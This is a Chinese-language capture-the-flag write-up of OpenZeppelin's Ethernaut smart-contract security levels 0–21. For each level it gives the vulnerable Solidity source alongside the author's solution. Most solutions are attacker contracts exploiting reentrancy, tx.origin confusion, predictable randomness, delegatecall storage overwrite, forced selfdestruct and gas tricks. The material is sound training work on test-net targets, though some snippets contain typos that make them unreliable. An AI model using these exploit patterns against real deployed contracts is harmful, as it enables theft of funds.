ethernaut靶场wp(0-21)

2021-01-03  本文已影响0人  Watanuki

平台(ropsten测试网络,^0.5.0):https://ropsten.ethernaut.openzeppelin.com/
题目代码:https://github.com/OpenZeppelin/ethernaut
大佬blog:https://hitcxy.com/2019/ethernaut/

写在前面:
趁着元旦刷题,在pikachu大佬的博客和真人指导下刷完了靶场(Alien Codex无法生成实例,Rinkeby发推也领不到测试币……可能是天意让休息了吧-。-)。
本地的截图懒得贴了相信大家自己会操作的(),如果有什么心得要强调的话就是多翻翻solidity官方英文文档和国外的论文博文,中文资料确实不太好使。

5.7.1. Hello Challenge

5.7.1.1. source

pragma solidity ^0.5.0;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  constructor(string memory _password) public {
    password = _password;
  }

  function info() public pure returns (string memory) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string memory) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string memory param) public pure returns (string memory) {
    if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string memory) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string memory) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string memory passkey) public {
    if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

5.7.1.2. solve

F12里一步步来就可以了

5.7.2. Fallback

contract.address
"0x60f1eBfd3C7Da1Ba659cA11F3d977863bE6B2f26

you claim ownership of the contract
you reduce its balance to 0

5.7.2.1. solve

5.7.2.2. source

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

//收钱的时候如果满足要求,会改变owner。
  function() payable external {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

5.7.3. 调用函数:Fallout

Claim ownership of the contract below to complete this level.

5.7.3.1. solve

5.7.3.2. source

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender; //吃惊,Rubixi真实案例
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

5.7.4. hashblock:Coin Flip

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip

5.7.4.1. source

pragma solidity ^0.5.0;

//import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  //using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    //uint256 blockValue = uint256(blockhash(block.number.sub(1)));//拿到地址反编译发现sub(1)就是-1.block.blockhash(block.number - 1) 表示负一高度的区块哈希
    uint256 blockValue = uint256(blockhash(block.number-1)); 

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    //uint256 coinFlip = blockValue.div(FACTOR);
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
    
}

5.7.4.2. solve

payload

pragma solidity ^0.4.10;

interface TargetInterface {
  function flip(bool _guess)  external;
}

contract Flipcoin_attacker {
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  TargetInterface constant private target = TargetInterface(0x74b4b6365a0f7831F80fDe314D7e5D05DFBe6332);

  // 打印 
  event LogBool(string, bool);
  function log(string s , bool x) internal {
    emit LogBool(s, x);
    }
    
  //attack
  function flip_attack() public {
    uint256 blockValue = uint256(blockhash(block.number-1)); 
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;
    log("answer", side);
    target.flip(side);
  }
  
  //循环attack过不了lashhash,但是代码先放着备存
  function final_attack() public{
  uint i;
  for (i=0;i<9;i+=1) {
      flip_attact();
    }
  }
}

5.7.5. tx.origin:Telephone

Solidity 中有一个全局变量,tx.origin,sender of the transaction (full call chain)。它遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。
confusing tx.origin with msg.sender can lead to phishing-style attacks。tx.origin不应该用于智能合约授权。这并不是说该tx.origin变量不应该被使用。它确实在智能合约中有一些合法用例。例如,如果有人想要拒绝外部合约调用当前合约,他们可以实现一个从require(tx.origin == msg.sender)中实现这一要求。这可以防止中间合约调用当前合约,只将合约开放给常规无代码地址。

5.7.5.1. solve

5.7.5.2. source

pragma solidity ^0.5.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

'''payload====================================================='''
#deploy的时候,_owern填上自己的地址即可完成攻击

pragma solidity ^0.4.24;

interface TargetInterface {
  function changeOwner(address _owner)  external;
}

contract attacker {
    
  TargetInterface constant private target = TargetInterface(0x6967C1FD9F7f865AA963A4e0803459d0354D6A1f);
  
  //attack
  function Change_attack(address _owner) public {
    target.changeOwner(_owner);
  }
}

5.7.6. 整数溢出:Token

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

5.7.6.1. source

pragma solidity ^0.5.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

5.7.6.2. solve

[图片上传失败...(image-79d1d4-1609663827300)]

5.7.7. delegatecall:Delegation

5.7.7.1. source

pragma solidity ^0.5.0;

contract Delegate {
  address public owner;
  constructor(address _owner) public {
    owner = _owner;
  }
  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  function() external {
    (bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
    if (result) {
      this; //表示当前合约
    }
  }
}

5.7.7.2. solve

[图片上传失败...(image-404634-1609663827300)]

pragma solidity ^0.4.18;
contract test{
    function func() view returns (bytes4){
        return bytes4(keccak256("pwn()"));
    }
}

5.7.8. selfdestruct:Force

Some contracts will simply not take your money
The goal of this level is to make the balance of the contract greater than zero.

Things that might help:
Fallback methods
Sometimes the best way to attack a contract is with another contract.
See the Help page above, section "Beyond the console"

5.7.8.1. solve

熟练的自毁,部署时不用填入value。带value进行kill
await getBalance(instance)可以看余额,也可以去ropscan上面看。

5.7.8.2. source

pragma solidity ^0.4.10;

contract Abcc {

 function kill() public payable {
     selfdestruct(address(0x3981E1F5B0c045b71c370F2856f358C7A9b35eD0));//目标的地址 
 }
}

5.7.9. storage读取1:Vault

Unlock the vault to pass the level!
合约中的所有内容对所有外部观察者都是可见的。private只会阻止其他合约访问和修改信息。

5.7.9.1. solve

5.7.9.2. source

pragma solidity ^0.5.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

5.7.10. transfer: King

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

5.7.10.1. solve


/*
payload==============================================================================
部署合约但是不给fallback,value填1.1 wei
*/
pragma solidity ^0.4.18;

contract Attack {

    function hack( address instance_address) public payable{
       (bool result, bytes memory data) =  instance_address.call.value(msg.value)();
    }

    function () public payable {
        revert();
    }
}

直接填value送是可以拿到king的,但是会被改回来。。。
[图片上传失败...(image-5ed965-1609663827300)]

5.7.10.2. source

pragma solidity ^0.5.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

5.7.11. Re-entrancy

The goal of this level is for you to steal all the funds from the contract.

    Untrusted contracts can execute code where you least expect it.
    - Fallback methods
    - Throw/revert bubbling
    - Sometimes the best way to attack a contract is with another contract.
    - See the Help page above, section "Beyond the console"
    - use the Checks-Effects-Interactions pattern。being aware that call will only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used.
    - Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.

5.7.11.1. source

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to]+msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

5.7.11.2. solve

pragma solidity ^0.4.18;

interface TargetInterface {
  function donate(address _to) external payable ;
  function withdraw(uint _amount) external;
  function balanceOf(address _who) external view returns (uint balance);
}

contract Attack {
    uint private flag = 0;
    address instance = 0x95198b030F83F7D89c9D4641D22dD148cD33F2F7;
    
    TargetInterface constant private target = TargetInterface(instance);
    
    function don() public payable{
       target.donate.value(1 ether)(this);
    }
    
    function withd() public{
        target.withdraw(1 ether);
    }

    function kill() public payable {
       selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }//为了把钱要回来真是煞费苦心
     
    function getB() public view returns (uint) {
        return target.balanceOf(this);
    }
    
    function() external payable {
      if (flag = 0){
      flag += 1;
      target.withdraw(1 ether);
      }
    }    
} 

5.7.12. 函数重写: Elevator

This elevator won't let you reach the top of your building. Right?
Things that might help:
- Sometimes solidity is not good at keeping promises.
- This Elevator expects to be used from a Building.
- You can use the view function modifier on an interface in order to prevent state modifications.The pure modifier also prevents functions from modifying the state.

5.7.12.1. solve

contract attacker{
    bool public t = true;
    
    Elevator target =  Elevator(0x636206cb3643745d7b4351E72090A537733AE679);
    function ele_attack(uint _floor) public{
        target.goTo(_floor);
    }
    function isLastFloor(uint) public returns (bool){ //要是算错了就再点一次取反
        t = !t;
        return t;
    }
}

5.7.12.2. source

pragma solidity ^0.5.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract Elevator {
  bool public top;//false
  uint public floor;//0

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

5.7.13. storage读取2:Privacy

The creator of this contract was careful enough to protect the sensitive areas of its storage.
Unlock this contract to beat the level.
Things that might help:
- Understanding how storage works
- Understanding how parameter parsing works
- Understanding how casting works
- Tips:Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.

5.7.13.1. solve

5.7.13.2. source

pragma solidity ^0.5.0;

contract Privacy {


    bool public locked = true;  //1 字节 01——stor[0]
    uint256 public ID = block.timestamp; //32 字节——stor[1]
    uint8 private flattening = 10; //1 字节 0a——stor[2],先推进栈
    uint8 private denomination = 255;//1 字节 ff——stor[2]
    uint16 private awkwardness = uint16(now);//2 字节——stor[2]
    bytes32[3] private data;——stor[3\4\5]

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

5.7.14. gasleft:Gatekeeper One

difficulty 5/10

Make it past the gatekeeper and register as an entrant to pass this level.
Things that might help:
- Remember what you've learned from the Telephone and Token levels.
- You can learn more about the msg.gas special variable, or its preferred alias gasleft(), in Solidity's documentation (see here and here).

5.7.14.1. source

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
//import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
//import "github:OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";


contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  // 要求通过合约调用
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  // 剩余gas要整除8191
  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  // 满足条件,uint的比较
  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
/*
payload==============================================================================
*/
pragma solidity ^0.5.0;

contract attacker{
    //address target =   0xe2e5Fe10f604b16C9F1Eae68b797B59F2Abff110;
    //bytes8 _gateKey = 0x0000dBc110000000;
    function attack(address target, bytes8 _gateKey,uint _gasUsed) public{
       target.call.gas(8191+_gasUsed)(abi.encodeWithSignature("enter(bytes8)",_gateKey)) ;
    }

}

5.7.14.2. solve

uint相等的绕过。错误思路留下是为了证明成长()。
[图片上传失败...(image-8009d3-1609663827300)]

5.7.14.2.1. 做法1:精准debug

本地看gasleft可以直接看solidity locals,或者一路拖到gas降到传入gas附近,再一条条找到gas语句。gasleft()应该为执行完gas后剩下的gas。
[图片上传失败...(image-9ed5fd-1609663827300)]

内部调试证明已经通过,但是打目标合约就失败了。猜测是版本问题。。找到老版本safemath改成了0.5.0,结果实验环境还是可以通过,题目合约还是不行。。。编译器咱也不知道是哪个版本。。。。那就直接调远程吧。

[图片上传失败...(image-8df8e4-1609663827300)]


contract attacker{
    //address target =   0xe2e5Fe10f604b16C9F1Eae68b797B59F2Abff110;
    //tx.origin = 0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6;
    //bytes8 _gateKey = 0x10000000000077B6;

    function attack(address _target, bytes8 _gateKey) public{
       _target.call.gas(98503)(abi.encodeWithSignature("enter(bytes8)",_gateKey)) ;

    }

}
5.7.14.2.2. 做法2:直接爆破2
contract attacker{
    //address target =   0xe2e5Fe10f604b16C9F1Eae68b797B59F2Abff110;
    //tx.origin = 0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6;
    //bytes8 _gateKey = 0x10000000000077B6;

    function attack2(address _target, bytes8 _gateKey) public{
        uint i;
        for (i=0;i<120;i++) {
        _target.call.gas(81910+150+i)(abi.encodeWithSignature("enter(bytes8)",_gateKey)) ;}
    }

尝试分析这个210是怎么来的。先通过remaining gas固定值98503找到basicblock的起点。这里是step218,上一步执行的是call。下面的操作是比较常见的runtime操作码开头,推入内存,看有没有callvalue有则revert(因为enter函数不是payable),然后读calldata,然后匹配函数签名,找到后跳转。
[图片上传失败...(image-5ff92c-1609663827300)]

然后找modifier1,需要读tx.origin和msg.sender。step277前有个jumpdest的起点,然后读origin。此时已经用掉了204的gas,和210很接近了。
[图片上传失败...(image-7f899-1609663827300)]

继续往下,GAS执行完剩下98249,可以看到stack里存的就是98249和8191,接下来就要调用safemath的mod了。累计用掉254的gas。
[图片上传失败...(image-326a5d-1609663827300)]

总结来看

5.7.15. extcodesize: Gatekeeper Two

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
Things that might help:
- Remember what you've learned from getting past the first gatekeeper - the first gate is the same.
- The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
- The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.

5.7.15.1. source

pragma solidity ^0.5.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

5.7.15.2. solve

/*
payload==============================================================================
*/
pragma solidity ^0.5.10;

contract Attacter {
    constructor() public payable {
        address target =   0x807145cE461Cf7A7D83C61F2317f6cCeB46bf036;
        uint64 _gateKey = uint64(bytes8(keccak256(abi.encodePacked(this))))^(uint64(0) - 1);
        target.call(abi.encodeWithSignature("enter(bytes8)", bytes8(_gateKey)));
    }
}

5.7.16. ERC20和import : Naught Coin

NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
Things that might help
- The ERC20 Spec
- The OpenZeppelin codebase

5.7.16.1. source

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol';
import 'openzeppelin-solidity/contracts/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20, ERC20Detailed {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20Detailed('NaughtCoin', '0x0', 18)
  ERC20()
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

5.7.16.2. solve

操作流程如下
[图片上传失败...(image-968872-1609663827300)]

/*
payload==============================================================================
*/
pragma solidity ^0.5.0;

interface TargetInterface {
  function approve(address spender, uint256 amount) external;
  function transferFrom(address sender, address recipient, uint256 amount) external;
}

并附ERC20相关代码

library ERC20Lib {
    function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
        self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
        self.balances[_to] = self.balances[_to].plus(_value);
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
        var _allowance = self.allowed[_from](msg.sender);

        self.balances[_to] = self.balances[_to].plus(_value);
        self.balances[_from] = self.balances[_from].minus(_value);
        self.allowed[_from](msg.sender) = _allowance.minus(_value);
        Transfer(_from, _to, _value);
        return true;
    }
    function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
        self.allowed[msg.sender](_spender) = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

}

5.7.17. delegatecall:Preservation

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
  Things that might help
- Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
- Understanding what it means for delegatecall to be context-preserving.
- Understanding how storage variables are stored and accessed.
- Understanding how casting works between different data types.

5.7.17.1. source

pragma solidity ^0.5.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

5.7.17.2. solve

contract Attacker {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  
  function setTime(uint _time) public {
    owner = tx.origin;
  }
}

通过delegatecall覆盖storage的测试:
[图片上传失败...(image-37e419-1609663827302)]

本题做法:
[图片上传失败...(image-43be5e-1609663827302)]

5.7.18. 子合约地址计算:Recovery

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.5 ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.5 ether from the lost contract address.

5.7.18.1. source

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  function() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}
/*
payload==============================================================================
*/
pragma solidity ^0.5.0;

contract attacker{
    address target = 0x303d8466547bFC61A220C90EB9ED2ab9528E0BbE;
    address _creator = 0x96077905c21208D86e46d3ccED03f8ce3D3d24E0 ;
    function attack() public{
       target.call(abi.encodeWithSignature("destroy(address)",_creator)) ;
    }

}

5.7.18.2. solve

5.7.18.2.1. 做法1:直接用rlp库计算

计算合约的代码,kali已装了rlp库(python3),并存大佬代码作为plan b。

'''
装库的版本是这样的
'''
import rlp
from ethereum import utils
address = 0xd29fcc4b193a576a17af9194d706b17ce5da24e2
nonce = 1
rlp_res = rlp.encode([address,nonce])
print(rlp_res)
sha3_res = utils.mk_contract_address(address,nonce)
print(sha3_res)
sha3_res_de = utils.decode_addr(sha3_res)
print("contract_address: " + sha3_res_de)
5.7.18.2.2. 做法2:python手动实现

大佬的脚本是这样的

def rlp_encode(input):
    if isinstance(input,str):
        if len(input) == 1 and ord(input) < 0x80: return input
        else: return encode_length(len(input), 0x80) + input
    elif isinstance(input,list):
        output = ''
        for item in input: output += rlp_encode(item)
        return encode_length(len(output), 0xc0) + output

def encode_length(L,offset):
    if L < 56:
         return chr(L + offset)
    elif L < 256**8:
         BL = to_binary(L)
         return chr(len(BL) + offset + 55) + BL
    else:
         raise Exception("input too long")

def to_binary(x):
    if x == 0:
        return ''
    else:
        return to_binary(int(x / 256)) + chr(x % 256)

print rlp_encode(["d29fcc4b193a576a17af9194d706b17ce5da24e2".decode('hex'),"01".decode('hex')]).encode('hex')

大佬脚本算出来rlp后还需要再手动sha3一下,chef和solidity都成。

pragma solidity ^0.4.18;
contract test{
    function func() view returns (address){
        return address(keccak256(0xd694d29fcc4b193a576a17af9194d706b17ce5da24e201));
    }
}

5.7.19. ? EVM bytecode:MagicNumber

To solve this level, you only need to provide the Ethernaut with a "Solver", a contract that responds to "whatIsTheMeaningOfLife()" with the right number.
Easy right? Well... there's a catch.
The solver's code needs to be really tiny. Really reaaaaaallly tiny. Like freakin' really really itty-bitty tiny: 10 opcodes at most.
Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That's right: Raw EVM bytecode.

5.7.19.1. source

pragma solidity ^0.5.0;

contract MagicNum {
  address public solver;
  constructor() public {}
  
  function setSolver(address _solver) public {
    solver = _solver;
  }
    /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
    */
}

5.7.19.2. solve

看起来会了但改一改估计还是不会做。。。

[图片上传失败...(image-129ab2-1609663827302)]

5.7.19.2.1. 做法1:web3通过raw建立合约
0x600a 600c 6000 39 600a 6000 f3 602A 6080 52 6020 6080 f3
PUSH1 0x0a;// s: push1 0x0a (10 bytes)
PUSH1 0x0c; // f: push1 0x?? (current position of runtime opcodes)
PUSH1 0x00;// t: push1 0x00 (destination memory index 0)
CODECOPY; //39,codecopy(t, f, s)
PUSH1 0x0a;// s: push1 0x0a (runtime opcode length)
PUSH1 0x00;// p: push1 0x00 (access memory index 0)
RETURN; // return to EVM
PUSH1 0x2a;//v: push1 0x2a (value is 42)
PUSH1 0x80;// p: push1 0x80 (memory slot is 0x80)
MSTORE; //52,mstore(p,v) 
PUSH1 0x20;// s: push1 0x20 (value is 32 bytes in size)
PUSH1 0x80;// p: push1 0x80 (value was stored in slot 0x80)
RETURN;//return(p,s) 

> var account = "your address here";
> var bytecode = "0x600a600c600039600a6000f3604260805260206080f3";
> web3.eth.sendTransaction({ from: account, data: bytecode }, function(err,res){console.log(res)});
> contract.setSolver("contract address");
5.7.19.2.2. 做法2:编译solidity
pragma solidity ^0.4.24;

contract MagicNumSolver {
  constructor() public {
    assembly {

      // This is the bytecode we want the program to have:
      // 00 PUSH1 2a /* push dec 42 (hex 0x2a) onto the stack */
      // 03 PUSH1  0 /* store 42 at memory position 0 */
      // 05 MSTORE
      // 06 PUSH1 20 /* return 32 bytes in memory */
      // 08 PUSH1 0
      // 10 RETURN
      // Bytecode: 0x602a60005260206000f3 (length 0x0a or 10)
      // Bytecode within a 32 byte word:
      // 0x00000000000000000000000000000000000000000000604260005260206000f3 (length 0x20 or 32)
      //                                               ^ (offset 0x16 or 22)
      
      mstore(0, 0x602a60005260206000f3)
      return(0x16, 0x0a) //length 0x0a
    }
  }
}

5.7.20. ?Alien Codex好像生成不了啊……

You've uncovered an Alien contract. Claim ownership to complete the level.
  Things that might help
- Understanding how array storage works
- Understanding ABI specifications
- Using a very underhanded approach

5.7.20.1. source

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

5.7.20.2. solve

5.7.21. call out of gas:Denial

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds) you will win this level.
This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.
